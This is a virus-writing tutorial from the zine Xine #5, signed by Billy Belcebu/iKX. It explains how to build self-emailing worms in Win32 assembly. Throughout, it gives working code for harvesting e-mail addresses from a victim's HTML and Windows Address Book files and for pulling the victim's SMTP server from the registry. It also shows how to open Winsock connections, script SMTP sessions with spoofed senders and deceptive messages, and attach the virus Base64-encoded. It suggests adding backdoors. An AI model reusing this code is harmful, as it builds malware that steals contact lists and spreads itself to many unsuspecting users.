Copy Link
Add to Bookmark
Report
Xine - issue #5 - Phile 111
Ú-----------------------------¿
| Xine - issue #5 - Phile 111 |
À-----------------------------Ù
Self-Emailing viruses with SMTP
usage of sockets/deal with SMTP servers
Firstly i must thank to some people that made possible this article with
their codes, tutes, advices or simply frienship:LifeWire/iKX, Bumblebee/29A,
T-2000/IR, StarZer0/iKX,Asmodeus/iKX and GriYo/29A. The article comes now :P
Ú--------------¿
| Introduction |
À--------------Ù
As you have realized, the new threat of today are the viruses that have any
network abilities, like mail themselves around the net, or have some tricky
scripts for IRC clients for DCC themselves (like my Win32.Thorin), or the
viruses that can add plugins taken from somewhere in the net (Vecna's
Win9x.Babylonia). I'm gonna isolate the part of self-emailing viruses. I
know there are some articles about this same matter, but i'm gonna go deeper
in the SMTP method, because it's the most reliable, stealthy, low-level and
cool one of all :) But, first of all, we must know if we're connected.
Ú--------------------------¿
| Check if we're connected |
À--------------------------Ù
This is really simple, as we've got an API that does the work for us. Its
name is InternetGetConnectedState, from WININET.DLL. GriYo named it in his
networking article, but he didn't said how it works. And it's not in the API
reference guide, so here you have it's usage:
push 00h ; Null
call $+9 ; Pointer to somewhere that
dd 00000000h ; is 0
call InternetGetConnectedState
If EAX is TRUE (1), we're connected. Otherwise, if it's FALSE (0), we're not
Ú--------------------------¿
| Getting e-mail addresses |
À--------------------------Ù
There're several methods to use, like send mails to the unreplied mails,
send mails to the addresses found in the newsgroups, take the e-mails from
the webpages the user sees,take'em from the WAB files, and many others. I'm
gonna explain the easiest (but effective) ones, the last two.
a) Taking e-mails from HTM* files
This one is really very easy. As you know, we can put e-mail addresses in
web files, for example, a webmaster puts his/her address for answer doubts,
and such. In the HTML code, the e-mail addresses come after a '"mailto:'
directive, so we have just to scan the HTM* file for that. For example, the
following routine (from my Win32.Forever) will search for such directive,
and will place the whole e- mail found into a desired place... the only we
need to have is the HTM* file in memory (mapped if you want, but it's not
a requeriment):
GetMailAddressFromHTML:
; input:
; ECX = Size of code where search (ussually HTM* file size)
; ESI = Pointer to HTML code (in memory) where search
; EDI = Pointer to where store e-mail (if found)
; output:
; CF = Set if no e-mails found
seekit:cmp dword ptr [esi],'iam"' ; Search for '"mailto:' string
jnz ckuf ; Maybe we got it...
cmp dword ptr [esi+4],":otl"
jz librty
ckuf: inc esi ; Or not :(
skream:loop seekit ; Loop till the limit
stc ; Signalize the error
ret
librty:lea esi,[esi+8] ; ESI points to the email
cpmail:lodsb ; Put it in the variable :)
stosb
cmp al,'"' ; email is till '"'
jnz cpmail
mov byte ptr [edi-1],00h ; Make null the last '"'
clc ; Away without error...
ret
The only thing you can miss of all this is... where take the HTM* files?
Micro$oft brings us the easiest soulutions... we can do two things: what i
do in my Win32.Forever is to search in the whole HD for HTM* files, also in
the Explorer personal folder; the other way is to look there directly. We
can do that by means of a registry key that gives us the location of such
folder. The key is the following one (in HKEY_LOCAL_MACHINE):
Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders
and the value to request is 'Personal'. As i suppose, you know how to handle
Windows registry :)
b) Taking e-mails from WAB (Windows Address Book) files:
Outlook provides us a nice tool, where we can have the address of all our
friends, family, etc., called Address Book. This program produces an output
file, with the extension .WAB where we can found all those e-mail addresses,
with names, and some more info. LifeWire/iKX was who used this in low-level
code, in Win32 asm. A greet fly here to him :) Well, there are just two
fileds of the WAB file that we should know: the pointer to the addresses and
how many e-mails are stored. +60h is the pointer, and +64h is the number of
addresses. Do you want code? Here you have.
; we have the file mapped, and the map address is at ESI
[...]
mov ecx,dword ptr [esi+64h] ; Number of addresses
jecxz no_email_found ; imagine :)
add esi,dword ptr [esi+60h] ; Pointer in mem to them
gimme_some_lovin:
pushad
; NOTE : In Outlook 5.5 (and possible future versions) the e-mail is stored
; in unicode format, so we've got to convert it. For check if it's UNI, it's
; simple: just see if the second byte of the string is a 0.
cmp byte ptr [eax+1],00h
jnz not_unicode
; We convert here the string to ASCIIz.
xchg esi,eax ; Setup registers for the
lea edi,[ebp+email] ; conversion
push edi
uni2asciiz:
movsb ; Convert UNI to ASCIIz
dec edi
cmpsb
jnz uni2asciiz
add [esp.1Ch],24h ; We need to add 48h
pop esi ; Here we've the ASCIIz email
; In ESI we have the pointer to an e-mail address, so do the appropiate :)
not_unicode:
push 00h ; Show address in a msgbox
call o_msg
db "E-MAIL FOUND",0 ; some silly title
o_msg: push esi ; Push address
push 00h
call MessageBoxA
popad
add esi,24h ; Get a pointer to next
loop gimme_some_lovin
no_email_found:
[...]
email db 128 dup (?)
[...]
The WAB files can be reached also with 2 ways: searching the whole HD for
them (hardcore, i know, but i did it ;)) or get the directory where they r,
that is in a registry key inside HKEY_CURRENT_USER or HKEY_USERS:
Software\Microsoft\WAB\WAB4\Wab File Name
and put NULL as the value to request, because it's "(default)". It'll return
exactly the path of the file (address book) of the current user.
Well,now we know the easiest ways for getting e-mail addresses where send
our virus/i-worm.
Ú--------------------------------¿
| Dealing with SMTP server names |
À--------------------------------Ù
The next thing is to get a reliable SMTP server name for connect. We have 2
options: find the one the infected guy uses, in the registry, or use some
hardcoded ones. I recommend the first one, but i know some cases of people
that doesn't have a POP mail, but they have a Hotmail one. So,it'd be a good
idea to include both methods: if the first one fails, just use the second.
I'm gonna explain where we have to find, in the registry, the name of a SMTP
server... with some code (original by T-2000/IR, with some changes by me):
; EBP is assumed to be delta offset
lea edi,[ebp+RegHandle]
mov eax,edi ; preserve pointer in EDI
push eax
push 01h ; KEY_QUERY_VALUE
push 00h
call o_1
db "Software\Microsoft\Internet Account Manager",0
o_1: push 80000001h ; HKEY_CURRENT_USER
call RegOpenKeyExA
or eax,eax
jnz reg_error
call o_2
dd 00000009h ; Copy 9 chars
o_2: lea eax,[ebp+AccountIdx] ; Where put the new info
push eax
push 00h
push 00h
call o_3
db "Default Mail Account",0
o_3: push dword ptr [ebp+RegHandle]
call RegQueryValueExA
or eax,eax
jnz reg_error
push dword ptr [ebp+RegHandle]
call RegCloseKey
push edi
push 01h ; KEY_QUERY_VALUE
push 00h
call o_4
db "Software\Microsoft\Internet Account Manager\Accounts\"
AccountIdx db "00000000",0
o_4: push 80000001h ; HKEY_CURRENT_USER
call RegOpenKeyExA
or eax,eax
jnz reg_error
call o_5
dd 00000030d ; Copy 30 chars
o_5: lea eax,[ebp+SMTPName] ; Where put the new value
push eax
push 00h
push 00h
call o_6
db "SMTP Server",0
o_6: push dword ptr [ebp+RegHandle]
call RegQueryValueExA
or eax,eax
jnz reg_error
push dword ptr [ebp+RegHandle]
call RegCloseKey
[...]
SMTPName db 30d dup (?)
RegHandle dd ?
[...]
So, there it is. In SMTPName variable we have the name of the SMTP server
we've got to use. We can use also any SMTP server by putting its name direc-
tly without those weird registry manipulations, so if the registry thing
fails, we've got another chance, but it's more difficult. We must hardcode
a SMTP server name, but we've got a big problem: the great majority of SMTP
servers only admit the users that are with the account of such ISP to send
mails. If you try another SMTP server you'll probably get the 'Relaying
Denied' error while putting 'RCPT TO'. So your chance is to find a server
that admits relaying, but it's so hard... Nowadays is strange to find one of
those ones :(
That's all. Now that we've got (hopefully) the SMTP server name, let's see
how to connect :)
Ú------------------------------------------¿
| Preparations: Connect to the SMTP server |
À------------------------------------------Ù
Well, now it's assumed we've got the name of a SMTP server, so let's prepare
the desired connection. First of all, we must tell Windows that we're going
to use the sockets, and check the version of wsocks, that must be 1.1. For
do so, we must use WSAStartup api. Let's see what SDK says about that api:
---<cut>--------------------------------------------------------------------
int WSAStartup(
WORD wVersionRequested,
LPWSADATA lpWSAData
);
wVersionRequested: The highest version of Windows Sockets support that the
caller can use. The high-order byte specifies the minor version (revision)
number; the low-order byte specifies the major version number.
lpWSAData: A pointer to the WSADATA data struct. that is to receive details
of the Windows Sockets implementation.
---<cut>--------------------------------------------------------------------
WSAStartup must return NULL,otherwise we've got an error. With all this, the
code for initialize the wsocks is the following:
lea eax,[ebp+WSA_data]
push eax ; lpWSAData
push 00000101h ; wVersionRequested
call WSAStartup
or eax,eax ; Check the return value
jnz exit_routine ; If eax!=0, error.
Well, maybe you're wondering what the fuck is that WSADATA structure. Let me
bright your head.
WSADATA struc
mVersion dw ?
mHighVersion dw ?
szDescription db 257 dup (?)
szSystemStatus db 129 dup (?)
iMaxSockets dw ?
iMaxUpdDg dw ?
lpVendorInfo dd ?
WSADATA ends
If you want more info about the fields of this structure, take a look to
Win32SDK, in WSAStartup API description. We'll only care about mVersion
value, that should be 101h.
cmp word ptr [ebp+WSA_data.mVersion],101h
jnz do_cleanup
If we pass through this checks, we're supposed to be able to open a socket,
so let's go. We do it with the socket api. Let's see its SDK description:
---<cut>--------------------------------------------------------------------
SOCKET socket (
INT af,
INT type,
INT protocol
);
af: An address format specification.
type: A type specification for the new socket.
protocol: A particular protocol to be used with the socket, or zero if the
caller does not wish to specify a protocol.
+If the function succeeds, socket returns a descriptor referencing the new
socket.
+If the function fails, a value of INVALID_SOCKET is returned. To get
extended error information, call WSAGetLastError.
---<cut>--------------------------------------------------------------------
The values that we must put for make a typical connection are:
af = 2 = AF_INET
type = 1 = SOCK_STREAM
protocol = 0 = PCL_NONE
So, the code for open the socket is clear. It's the following one:
push 00h ; PCL_NONE
push 01h ; SOCK_STREAM
push 02h ; AF_INET
call socket ; Open the socket
mov dword ptr [ebp+SocketHandle],eax; Preserve it
inc eax ; If EAX=-1, then we've got
jz do_cleanup ; an error, so cleanup socks.
Now that we've got an opened socket, we've got to connect. For that purpose
we need to fill another structure, SOCKADDR. I'm gonna use here the version
that my friend Bumblebee made for his article in 29A#4, coz it's more simple
than the one in winsock.h
SOCKADDR struc
sin_family dw ?
sin_port dw ?
sin_addr dd ?
sin_zero db 8 dup (?)
SOCKADDR ends
Ok, let's see how to fill it. Firstly, sin_family must be AF_INET, so:
mov word ptr [ebp+saddr.sin_family],02h ; AF_INET
Now we've got to fill sin_port. We must use a special format, called network
byte order. We can put here many different ports: 21 for FTP, 25 for SMTP,
80 for HTTP, 6667 for IRC, 1080 or 8080 for Wingates (depends of the kind),
etc. As we want to connect to a SMTP server, we must put the port 25. And
how can we convert that 25 into network byte order? Simple, there's an API
that does that for us: htons. The function is so simple, so i'm not gonna
paste its description. Just take a look to the code:
push 25 ; SMTP port
call htons ; Convert to netw byte order
mov word ptr [ebp+saddr.sin_port],ax ; The result is a word
Now comes the last part of this: we've to fill sin_addr field. We can arrive
here from many ways, depending of the information we have. For example, if
we have an IP in this format "123.45.67.89", we have to use inet_addr API
for convert it. But in this example, we've got something like this string:
"smtp.server.com", so we've got to use another API for convert that name to
something we can use. We've got the API gethostbyname for that purposes.
Its usage is also very simple:
lea eax,[ebp+SMTP_server_name]
push eax ; Ptr to SMTP server name
call gethostbyname ; Convert
or eax,eax ; If EAX=0 there was an error
jz close_socket
This function returns us a pointer in EAX to a structure called HOSTENT. You
can't modify it, moreover,you must use this fields before calling in another
thread, for example, this API. Here u have it:
HOSTENT struc
h_name dd ?
h_aliases dd ?
h_addrtype dw ?
h_lenght dw ?
h_addr_list dd ?
h_ip dd ?
HOSTENT ends
We need the IP, that is in network byte order. It is pointed by h_ip, so we
need to retrieve it with the following code (or similar):
mov esi,dword ptr [eax+hostent.h_ip] ; Get in EAX the ptr
lodsd ; Put the value in EAX
So, if we arrived here that's all. We've only to fill the field on SOCKADDR:
mov dword ptr [ebp+saddr.sin_addr],eax
And the only thing that we've to do now is to connect. This is done by means
of an API called (how original) connect. Let's see its SDK description:
---<cut>--------------------------------------------------------------------
INT connect (
SOCKET s,
CONST STRUCT SOCKADDR FAR *name,
INT namelen
);
s: A descriptor identifying an unconnected socket.
name : The name of the peer to which the socket is to be connected.
namelen : The length of the name.
+ If no error occurs, connect returns zero.
+ Otherwise, it returns SOCKET_ERROR, and a specific error code may be
retrieved by calling WSAGetLastError.
---<cut>--------------------------------------------------------------------
So, the way of calling it with ASM code is this one:
push size SOCKADDR ; This is constant(thnx bbbee)
lea eax,[ebp+saddr]
push eax ; Push a ptr to SOCKADDR struc
push dword ptr [ebp+SocketHandle] ; Push socket where connect
call connect
inc eax ; If EAX=-1 there was an error
jz close_socket
Well, now we're sure... WE'RE CONNECTED! Well, the code that should follow
here is in the next chapter, the SMTP client itself. Now i'm gonna put here
some simple apis, the ones used for close all this. First, closesocket:
close_socket:
push dword ptr [ebp+SocketHandle] ; Socket to close
call closesocket
and just after it, we log out wsocks usage, with WSACleanup:
do_cleanup:
call WSACleanup ; No need of parameters
That's all. Now comes the interesting part of the article.
Ú-------------------------------------------------¿
| The SMTP (Simple Mail Transfer Protocol) client |
À-------------------------------------------------Ù
Yeah, now that we're already with all the stuff done, with port 25 and such,
and connected, we need to send the e-mail. First of all, we need some
functions: one for send information, and another for receive it. The socks
provide us two APIs for such target, that are send and recv (names are self-
explanatory, i think). They are just the equivalent to _lread and _lwrite
in files, but for sockets.Two probable functions for socket I/O in your code
could be:
_send:
; input:
; ECX = Size of data to send
; ESI = Pointer to the data to send
; output:
; EAX = If successful, the number of bytes sent, otherwise, -1.
push 00h
push ecx ; Bytes to send
push esi ; What send
push dword ptr [ebp+SocketHandle] ; What socket
call send
ret
_recv:
; input:
; Nothing.
; output:
; EAX = If successful, the 4 first bytes received, otherwise, 0.
push 00h
push 04h ; Bytes to receive (a dword)
lea eax,[ebp+where_recv]
push eax ; Where receive
push dword ptr [ebp+SocketHandle] ; What socket
call recv
inc eax ; Test if error (-1)
jz recv_err
cmp eax,5
jnz recv_err
get1mo:
push 00h
push 01h ; Bytes to receive (a byte)
call $+6
mugrix db 00h ; Received here :)
push dword ptr [ebp+SocketHandle] ; What socket
call recv
cmp byte ptr [ebp+mugrix],0Ah ; Till find this
jnz get1mo
db 0B8h ; EAX = The dword received
where_recv dd ?
ret
recv_err:
xor eax,eax
ret
Now that we've defined the I/O functions, we've got to send the appropiate
data to the SMTP server for being able to send our "gift" by e-mail ;)
* NOTE: We must send all this commands followed -only- by a CRLF *
First we must send the HELO command, followed by our supposed host. Be
careful here, there're some server that checks the host. For getting the
host, just use the api gethostname (the parameter is a ptr to the buffer
when you want to put the host name). For example:
HELO servername.com
So, with our _recv function, we should test for the presence of that 220. As
easy as cmp eax," 022". If it doesn't matches, something went wrong. Now we
should send something like:
MAIL FROM: any_address@any_server.com
This field could be invented, but beware of it, coz some servers check for
the presence of the domain. If you want your mail to be from Microsoft,
your government, or from Saddam Hussein, there ain't any problem :) Now, we
call again _recv, and check for 250 again. If not, you know what to do :)
Well, if everything went as we want to, we send the following shit:
RCPT TO: target_addr@his_server.com
Instead that address, you must put the address found by any of the methods
available (see the first part of this tute).Well, we have to expect 250 from
_recv again. Now that we've done so, we must dent a simple:
DATA
And expect a 354 (cmp eax, " 453"). Now we must put some datas, but without
waiting for a response of the server. We must build the headers present in
the normal e-mails (for spoof, if u want).
FROM: Spoofed Sucker <sp00f@microshit.com>
TO: Pathetic Victim <someone@somewhere.com>
SUBJECT: This is the subject of the e-mail
Here you can put the text you want to be shown to the receiver of the e-mail
(lie him a bit, please :P). For finishing the e-mail, and force the SMTP
server to deliver it, just put a simple dot. For example:
I love you, it hurts :)
.
And after we should close the session, and this is done (how not) with the
command:
QUIT
So, in a simple brief, the relation of things we must do is as following:
HELO server.com (+CRLF) [ expect server answer ]
MAIL FROM: sender@domain.com (+CRLF) [ expect server answer ]
RCPT TO: victim@domain.com (+CRLF) [ expect server answer ]
DATA (+CRLF) [ expect server answer ]
FROM: Sender <sender@domain.com>
TO: Victim <victim@domain.com>
SUBJECT: Bla
This is an e-mail
.
QUIT (+CRLF)
But,wait a minute! We want to send attachments, no? This leads us to another
chapter...
Ú----------------------------------------------------------------¿
| MIME (Multipurpose Internet Mail Extensions) & BASE64 encoding |
À----------------------------------------------------------------Ù
MIME is the name given to the internet standard format used mainly for
deliver e-mails with files attached. It consist in a bunch of headers, and
some variated info on them. But how we can send a file trough e-mail? It
must be encoded. There're several methods for doing that, but we'll use here
the BASE64 encoding algorithm. As i don't want this chapter to be so...
ehrm... "boring", i'll put almost everything in examples.
This is how looks a MIME message:
---<cut>--------------------------------------------------------------------
MIME-Version: 1.0
Content-Type: multipart/mixed;
boundary="----=_NextPart_000_0005_01BDE2FC.8B286C00"
X-Priority: 3
X-MSMail-Priority: Normal
X-Unsent: 1
X-MimeOLE: Produced By Microsoft MimeOLE V4.72.3110.3
------=_NextPart_000_0005_01BDE2EC.8B286C00
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: quoted-printable
Put here whatever you want, bla bla
------=_NextPart_000_0005_01BDE2EC.8B286C00
Content-Type: application/octet-stream; name=filename.exe
Content-Transfer-Encoding: base64
Content-Disposition: attachment; filename="filename.exe"
Here would come BASE64 encoded file.
---<cut>--------------------------------------------------------------------
So, the only thing you need to know apart from this is how to encode using a
base64 algorithm, for being able to send files with our e-mails. Okay, i
will show you the best piece of code i've seen for such matter: Bumblebee's
one. I've optimized it a bit, but its behavior is the same. Here you have:
input:
EAX = Address of data to encode
EDX = Address to put encoded data
ECX = Size of data to encode
output:
ECX = size of encoded data
* NOTE: The size of the data to encode MUST BE padded to 3!! *
and here's the routine :)
encodeBase64:
xor esi,esi ; encodeBase64 by Bumblebee. All rights reserved ;)
call over_enc_table
db "ABCDEFGHIJKLMNOPQRSTUVWXYZ"
db "abcdefghijklmnopqrstuvwxyz"
db "0123456789+/"
over_enc_table:
pop edi
push ebp
xor ebp,ebp
baseLoop:
movzx ebx,byte ptr [eax]
shr bl,2
and bl,00111111b
mov bh,byte ptr [edi+ebx]
mov byte ptr [edx+esi],bh
inc esi
mov bx,word ptr [eax]
xchg bl,bh
shr bx,4
mov bh,0
and bl,00111111b
mov bh,byte ptr [edi+ebx]
mov byte ptr [edx+esi],bh
inc esi
inc eax
mov bx,word ptr [eax]
xchg bl,bh
shr bx,6
xor bh,bh
and bl,00111111b
mov bh,byte ptr [edi+ebx]
mov byte ptr [edx+esi],bh
inc esi
inc eax
xor ebx,ebx
movzx ebx,byte ptr [eax]
and bl,00111111b
mov bh,byte ptr [edi+ebx]
mov byte ptr [edx+esi],bh
inc esi
inc eax
inc ebp
cmp ebp,24
jna DontAddEndOfLine
xor ebp,ebp ; add a new line
mov word ptr [edx+esi],0A0Dh
inc esi
inc esi
test al,00h ; Optimized (overlap rlz!)
org $-1
DontAddEndOfLine:
inc ebp
sub ecx,3
or ecx,ecx
jne baseLoop
mov ecx,esi
add edx,esi
pop ebp
ret
Well, with all this you're able to send e-mails with something nice attached
in them :)
Ú-------------¿
| Suggestions |
À-------------Ù
There are some things i'd recommend you to do when dealing with this kind of
codes:
þ Get some RFCs, they're very good references. In my web page (see end of
this article for get the address) you can find #821, #822 (about SMTP
protocol), #1459 (about IRC protocol) and #1521, #1522 (about MIME).
þ Use intelligently some threads: make one with low priorities that awaits
us to connect, and make another one with a time-limit of about 1 minute
for avoid eternal sends (could happen) and high priorities, for the SMTP
client itself.
þ You could implement backdoor features, see Win32.Moridin for more info :)
þ Make Denial Of Service attacks is not a good idea if you don't want to
have all the FBI at your back... :)
þ Be careful, if you want to distribute your networking virus, because this
codes replicate so fastly and they can bring you some legal problems.
Ú-------------¿
| Final Words |
À-------------Ù
I don't want to eternize this tutorial, so its end is being reached :) I
hope that this little tute have helped you to code some interesting
netw0rking stuff. For see all this stuff in action, you should take a look
to my Win32.Forever of my I-Worm.Always.
Greetings to all VXers around.
----------------------------------------------------------------------------
(c) Billy Belcebu/IKX [29/09/00] "i'm not a terrorist. i'm an artist"
þ URL þ www.billybelcebu.org - www.beautifulpeople.cjb.net
þ EMAIL þ billy_belcebu@mixmail.com - billy_belcebu@ikx4ever.org
þ IRC þ irc-hispano #virus, undernet #virus #ikx